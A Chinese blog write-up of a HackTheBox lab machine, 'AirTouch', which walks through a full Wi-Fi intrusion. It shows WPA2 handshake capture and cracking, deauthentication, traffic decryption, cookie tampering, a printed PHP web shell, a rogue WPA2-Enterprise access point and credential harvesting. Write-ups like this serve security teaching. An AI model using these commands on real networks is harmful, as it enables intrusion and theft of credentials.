HTB靶机 AirTouch 渗透测试记录

misaka19008 发布于 2026-01-20 573 次阅读 3795 字



目标信息

IP地址:10.129.7.139(非固定IP地址)


信息收集

ICMP检测

PING 10.129.7.139 (10.129.7.139) 56(84) bytes of data.
64 bytes from 10.129.7.139: icmp_seq=1 ttl=63 time=239 ms
64 bytes from 10.129.7.139: icmp_seq=2 ttl=63 time=251 ms
64 bytes from 10.129.7.139: icmp_seq=3 ttl=63 time=243 ms
64 bytes from 10.129.7.139: icmp_seq=4 ttl=63 time=351 ms

--- 10.129.7.139 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 238.966/270.672/350.539/46.306 ms

攻击机和靶机间的网络连接正常。

防火墙检测

# Nmap 7.98 scan initiated Sun Jan 18 07:36:13 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.7.139
Nmap scan report for 10.129.7.139
Host is up (0.23s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE         SERVICE
22/tcp open|filtered ssh

# Nmap done at Sun Jan 18 07:36:39 2026 -- 1 IP address (1 host up) scanned in 26.08 seconds

靶机疑似开放了1TCP端口。

网络端口扫描

TCP端口扫描结果

# Nmap 7.98 scan initiated Sun Jan 18 07:38:44 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.7.139
Nmap scan report for 10.129.7.139
Host is up (0.24s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 bd:90:00:15:cf:4b:da:cb:c9:24:05:2b:01:ac:dc:3b (RSA)
|   256 6e:e2:44:70:3c:6b:00:57:16:66:2f:37:58:be:f5:c0 (ECDSA)
|_  256 ad:d5:d5:f0:0b:af:b2:11:67:5b:07:5c:8e:85:76:76 (ED25519)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   307.63 ms 10.10.14.1
2   307.72 ms 10.129.7.139

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 18 07:39:24 2026 -- 1 IP address (1 host up) scanned in 40.64 seconds

UDP端口开放列表扫描结果

# Nmap 7.98 scan initiated Sun Jan 18 07:39:50 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.7.139
Warning: 10.129.7.139 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.7.139
Host is up (0.23s latency).
Not shown: 65289 open|filtered udp ports (no-response), 245 closed udp ports (port-unreach)
PORT    STATE SERVICE
161/udp open  snmp

# Nmap done at Sun Jan 18 07:43:54 2026 -- 1 IP address (1 host up) scanned in 244.38 seconds

UDP端口详细信息扫描结果

# Nmap 7.98 scan initiated Sun Jan 18 07:45:06 2026 as: /usr/lib/nmap/nmap -sC -sV -A -sU -p 161 --min-rate 3000 -oN udp_result.txt 10.129.7.139
Nmap scan report for 10.129.7.139
Host is up (0.24s latency).

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-sysdescr: "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)"
|_  System uptime: 2d09h31m23.40s (20708340 timeticks)
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 8b2467631cf6686900000000
|   snmpEngineBoots: 1
|_  snmpEngineTime: 2d09h31m23s
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
Service Info: Host: Consultant

TRACEROUTE (using port 161/udp)
HOP RTT       ADDRESS
1   229.81 ms 10.10.14.1
2   229.91 ms 10.129.7.139

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 18 07:45:15 2026 -- 1 IP address (1 host up) scanned in 9.32 seconds

同时发现靶机运行Ubuntu Linux操作系统,开放22/ssh161/snmp(udp)服务,根据HackTheBox靶机规则,靶机主域名应为airtouch.htb


服务探测

SSH服务(22端口)

尝试使用ssh工具连接靶机,查看靶机允许的登录方式:

ssh root@airtouch.htb

发现靶机SSH服务允许使用密钥和密码登录。

SNMP服务(UDP-161端口)

尝试使用snmpwalk工具连接服务查看OID

snmpwalk -v2c -c public airtouch.htb .

成功发现用户凭据:

  • 用户名:consultant
  • 密码:RxBlZhLmOkacNWScmZ6D

尝试登录SSH,成功:

ssh consultant@airtouch.htb

登录SSH后,发现IP网段为172.20.1.0,与实际IP不符,还存在数个虚拟无线网络接口,且在根目录下发现了.dockerenv文件,确定当前处于Docker容器环境内。

尝试执行sudo -l命令查看当前用户权限,发现可以免密以root身份运行任意程序:

直接切换到root用户:

sudo su -


渗透测试

爆破WiFi握手包连接内网

获取容器root权限后,进行目录信息收集。在/root目录下发现了知名的无线网络渗透工具eaphammer

ls -lA /root/eaphammer

除此之外,还在/home/consultant目录下发现了两张图片:

cd /home/consultant && ls -lA

直接使用scp工具将两张图片下载到本地,首先查看diagram-net.png

图片描述了AirTouch组织的网络架构,当前容器处于“顾问”有线网络中,另外的两个无线网络AirTouch-InternetAirTouch-Office分别为平板电脑专用网络和公司内部办公网络;第二张图片为作者手绘网络架构图,内容相同。使用exiftool查看手绘图文件元信息,发现Profile Creator一行为Little CMS

尝试使用wpa-cli工具,通过wlan0接口扫描虚拟无线网络。首先需要编写/etc/wpa_supplicant/wpa_supplicant.conf配置文件,指定服务监听的本地Socket,并启动无线网络管理服务:

cat > /etc/wpa_supplicant/wpa_supplicant.conf << EOF
ctrl_interface=/run/wpa_supplicant
update_config=1

EOF
wpa_supplicant -B -c /etc/wpa_supplicant/wpa_supplicant.conf -i wlan0

随后启动wpa_cli,扫描无线网络:

wpa_cli -i wlan0
scan
scan_results

一共发现6个无线网络,其中AirTouch-Internet使用WPA2-PSK加密协议,频率2437,对应信道为6;而AirTouch-Office使用WPA2-EAP加密协议,且有2个接入点。

注:可通过查表确定WiFi频率对应的信道号码。(List of WLAN channels - Wikipedia

联想到root家目录下的eaphammer工具,决定尝试使用该工具抓取其它虚拟设备与AirTouch-Internet网络连接的握手包,并尝试爆破哈希来获取虚拟WiFi密码。

进入/root/epahammer目录,启动eaphammer

./eaphammer --bssid F0:9F:C2:A3:F1:A7 --essid AirTouch-Internet --channel 6 --interface wlan0 --auth wpa-psk --creds

成功抓取目标WiFi与其它设备的握手包!通过scp,将hccapx格式的握手包文件下载至本地后,使用在线工具转换为cap格式的网络报文文件:奇伟华青hccapx2cap

将转换完毕的cap文件,使用hcxpcapngtool提取hc22000格式哈希值,接着进行暴力破解:

hcxpcapngtool wpa2handshake-AirTouch_Internet.cap -o wpa2handshake-AirTouch_Internet-hash.hc22000
hashcat -m 22000 -a 0 ./wpa2handshake-AirTouch_Internet-hash.hc22000 /usr/share/wordlists/rockyou.txt --force

成功发现WiFi凭据:

  • BSSIDF0:9F:C2:A3:F1:A7
  • ESSIDAirTouch-Internet
  • 加密方式:WPA2-PSK
  • 密码:challenge

直接使用wpa_cli连接:

wpa_cli -i wlan0 add_network
wpa_cli -i wlan0 set_network 0 ssid '"AirTouch-Internet"'
wpa_cli -i wlan0 set_network 0 psk '"challenge"'
wpa_cli -i wlan0 select_network 0
wpa_cli -i wlan0 status

连接成功!最后使用dhclient工具向网关DHCP服务请求IP地址:

dhclient wlan0
ifconfig wlan0

成功获取IP地址:192.168.3.61

捕获WiFi认证流量解密

连接到AirTouch-Internet网络后,启动SimpleHTTPServer监听,上传fscan工具,对192.168.3.0/24网络内存活主机进行ICMP探测:

./fscan -h 192.168.3.0/24 -m icmp

发现除了当前容器本身地址外,目标网段内只有网关192.168.3.1存活,进行TCP端口扫描:

./fscan -h 192.168.3.1 -p 1-65535 -nobr -nopoc

发现网关开启了22/ssh80/http53/dns服务。直接将2280端口转发至本地:

ssh -fCNR 80:192.168.3.1:80 -p 22222 root@10.10.16.117
ssh -fCNR 22:192.168.3.1:22 -p 22222 root@10.10.16.117

直接访问:http://192.168.3.1

发现目标站点似乎为WiFi的网络认证与管理界面。首先进行目录扫描:

# Dirsearch started Sun Jan 18 18:18:10 2026 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://127.0.0.1 -x 400,404 -e php,js,html,txt,zip,tar.gz,xml,json,pcap,cap,yaml -t 70 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

301   308B   http://127.0.0.1/uploads    -> REDIRECTS TO: http://127.0.0.1/uploads/

目标Web服务根目录下还存在/uploads子目录,推测WiFi Portal内存在文件上传相关功能。尝试进行SQLiXSS等测试,均告失败。联想到捕获WiFi握手包时的过程,决定尝试再次对AirTouch-Internet网络所在6号信道的WiFi流量进行捕获,并确定连接者的MAC地址,随后通过向信道内注入解除连接帧的方式,迫使连接者重新连接AP进行Web认证,捕获其登录请求。

首先,强制结束wpa_supplicantdhclient进程,并使用airmon-ng工具(靶机预装)将wlan0网卡切换到监听模式:

airmon-ng start wlan0 6

随后打开一个子终端,新建SSH连接到靶机并切换至root用户准备。使用airodump-ng工具捕获6号信道流量并写入文件:

airodump-ng -w wlan_channel_6_traffic -c 6 wlan0mon

发现连接者的MAC地址为28:6C:07:FE:A3:22,当前网络BSSIDF0:9F:C2:A3:F1:A7。多次执行如下命令注入解除连接帧:

aireplay-ng -0 1 -a F0:9F:C2:A3:F1:A7 -c 28:6C:07:FE:A3:22 wlan0mon

捕获握手与认证流量后,使用scp工具将cap文件传输至本地,通过airdecap-ng解密AirTouch-Internet网络中的流量:

airdecap-ng -e "AirTouch-Internet" -p "challenge" wlan_channel_6_traffic-01.cap -o wlan_channel_6_traffic-01_decrypted.cap

接着打开解密后的流量包查看,成功发现Web Portal的登录凭据:

  • 用户名:manager
  • 密码:2wLFYNh4TSTgA5sNgT4

除此之外,还发现站点似乎从HTTP Cookie中读取了用户角色身份:

直接将靶机容器wlan0网卡恢复至正常状态:

airmon-ng stop wlan0mon

并重新启动wpa_supplicant连接到AirTouch-Internet,建立SSH端口转发,完成后访问Web Portal,输入凭据登录:

成功!

越权与文件上传漏洞利用

登录Web Portal后,结合之前查看流量包时在HTTP Cookie中发现的UserRole用户角色参数,决定尝试将UserRole改为其它高权限的值进行越权攻击。

打开FireFox插件Cookie-Editor,选中UserRole一项,将值改为admin保存,随后刷新页面:

发现页面上出现了文件上传表单,成功越权获取管理员权限!

尝试上传后门程序misaka19008.phtml

<?php
  $command = $_GET['cmd'];
  if (isset($command) && !empty($command)) {
      system($command);
  } else die("<hr style='color: red;'>===== hackthebox @misaka19008 hacked =====");
?>

成功上传!直接访问后门:http://127.0.0.1/uploads/misaka19008.phtml,执行id命令:

发现当前为www-data用户,权限较低,执行ls -lA ../命令列出Web根目录下文件:

决定对每个PHP脚本进行信息收集,当收集login.php时,发现了硬编码在脚本内的用户凭据:

cat ../login.php

  • 用户名:user
  • 密码:JunDRDZKHDnpkpDDvay

尝试查看/etc/passwd文件,发现user为操作系统用户:

cat /etc/passwd | grep "/bin/"

直接使用SSH登录:

ssh user@127.0.0.1

尝试执行sudo -l命令,发现当前用户可免密以root身份执行任何命令,直接切换到root用户:

sudo su -

成功获得User Flag!!


权限提升

目录信息收集

登录AirTouch-Internet网关容器后,进行目录信息收集,在root家目录下发现大量关于WiFi AP的配置备份。首先查看send_certs.sh

#!/bin/bash

# DO NOT COPY
# Script to sync certs-backup folder to AirTouch-office. 

# Define variables
REMOTE_USER="remote"
REMOTE_PASSWORD="xGgWEwqUpfoOVsLeROeG"
REMOTE_PATH="~/certs-backup/"
LOCAL_FOLDER="/root/certs-backup/"

# Use sshpass to send the folder via SCP
sshpass -p "$REMOTE_PASSWORD" scp -r "$LOCAL_FOLDER" "$REMOTE_USER@10.10.10.1:$REMOTE_PATH"

发现脚本内存在AirTouch-Office网关的登录凭据:

  • 用户名:remote
  • 密码:xGgWEwqUpfoOVsLeROeG

但目前无法连接AirTouch-Office网络,继续查看certs-backup目录:

ls -lA certs-backup

发现该目录内存在一整组SSL X509证书及配置文件。查看ca.conf

cat ./certs-backup/ca.conf

发现该组证书为AirTouch-Office网络进行WPA2-Enterprise认证所需的SSL证书。除此之外,还在/root/psk/目录下发现了其它WiFi网络的凭据:

经分析研判,发现由于缺少SSL证书,目前还未对AirTouch-Office网络进行伪造并捕获握手包。决定使用上述证书,通过eaphammer架设AirTouch-Office网络的伪造网,尝试对认证流量进行抓取。

伪造WPA2-EAP网络捕获哈希

在目录信息收集阶段,我们已经发现了AirTouch-Office网络进行WPA2 Enterprise认证所需的SSL证书,并决定尝试伪造该网络捕获握手包,现在进行利用。

首先使用tar将证书文件夹进行打包,复制到/tmp/目录下:

tar -czf /tmp/wpa2eap-certs.tar.gz *

随后返回虚拟有线网下的容器(即第一个被控制的容器),通过scp命令下载压缩包解压:

scp user@192.168.3.1:/tmp/wpa2eap-certs.tar.gz ./wpa2eap-certs.tar.gz
tar -xzvf wpa2eap-certs.tar.gz

随后按照前面提到的方法强制停止wpa_supplicantdhclient进程,将证书导入eaphammer

cd ./eaphammer
./eaphammer --cert-wizard import --ca-cert ../ca.crt --server-cert ../server.crt --private-key ../server.key

接着指定BSSIDESSID、信道、认证方法与监听网卡名等参数,启动eaphammer44号信道上伪造AirTouch-Office网络:

./eaphammer --bssid AC:8B:A9:F3:A1:13 --essid AirTouch-Office --channel 44 --interface wlan0 --auth wpa-eap --creds --capture-wpa-handshakes yes

成功捕获用于认证的Net-NTLM哈希值:r4ulcl:$NETNTLM$afd9e3d2b4ce7fcf$c438f0bfafb9a894fb4f092088fe38657fdf3389980a4dde

直接将其保存为文件,使用john工具爆破:

john r4ulcl_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

成功发现WiFi连接凭据:

  • 网络名称:AirTouch-Office
  • 用户名:r4ulcl
  • 密码:laboratory

直接在容器内创建wpa_supplicant连接配置wpa0.conf

ctrl_interface=/run/wpa_supplicant
update_config=1

network={
  ssid="AirTouch-Office"
  scan_ssid=1
  key_mgmt=WPA-EAP
  identity="AirTouchr4ulcl"
  password="laboratory"
  eap=PEAP
  phase1="peaplabel=0"
  phase2="auth=MSCHAPV2"
}

使用wpa_supplicant连接成功后,通过dhclient重新请求IP地址:

wpa_supplicant -B -c wpa0.conf -i wlan0
dhclient -r && dhclient -v wlan0

网络连接成功!

HostAPD配置内发现高权限凭据

连接到AirTouch-Office网络后,直接使用在send_certs.sh内发现的凭据登录网关10.10.10.1

ssh remote@10.10.10.1

成功!

在先前对AirTouch-Internet网关root家目录的收集中,psk目录下的WiFi配置文件实为HostAPD的配置,这一点可以从这些文件的文件名看出(执行ls -lA /root/psk/即可发现),这证实靶机的虚拟WiFi功能是使用HostAPD实现的。

尝试在/etc/目录下寻找HostAPD的配置目录:

ls -lA /etc/host*

成功发现HostAPDWPA2-Enterprise用户配置文件为:/etc/hostapd/hostapd_wpe.eap_user

直接查看:

cat /etc/hostapd/hostapd_wpe.eap_user

发现当前网络还存在其它用户凭据:

  • 用户名:admin
  • 密码:xMJpzXt4D9ouMuL3JJsMriF7KZozm7

admin用户刚好又是操作系统内的用户:

直接切换到admin

su admin

尝试执行sudo -l命令,发现当前用户可以root身份免密执行任何命令:

直接切换到root用户:

su -

成功获得Root Flag!!!!


本次靶机渗透到此结束


此作者没有提供个人介绍。
最后更新于 2026-01-29